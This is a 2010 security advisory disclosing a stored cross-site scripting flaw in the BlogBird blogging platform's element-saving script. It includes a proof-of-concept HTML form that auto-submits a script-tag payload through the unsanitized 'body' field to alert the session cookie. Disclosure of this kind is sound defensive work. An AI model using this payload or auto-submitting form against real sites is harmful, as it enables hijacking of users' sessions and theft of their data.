XSS vulnerability in BlogBird platform

Type securityvulns
Reporter Securityvulns
Modified 2010-10-28T00:00:00


Vulnerability ID: HTB22647 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogbird_1.html Product: BlogBird Vendor: BlogBird ( http://www.blogbird.nl/ ) Vulnerable Version: Current actual version on http://www.blogbird.nl/ Vendor Notification: 13 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the blog elements saving script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://www.blogbird.nl/elements/save/2648" method="post" name="main"> <input type="hidden" name="files_id" value="123"> <input type="hidden" name="type" value="posts"> <input type="hidden" name="column" value="col1"> <input type="hidden" name="title" value="post title"> <input type="hidden" name="element" value="post"> <input type="hidden" name="body" value='post text"><script>alert(document.cookie)</script>'> <input type="hidden" name="extended" value=""> <input type="hidden" name="publish" value="1"> <input type="hidden" name="page" value="home"> <input type="hidden" name="author" value="author"> <input type="hidden" name="tags" value=""> </form> <script> document.main.submit(); </script>

Solution: Upgrade to the most recent version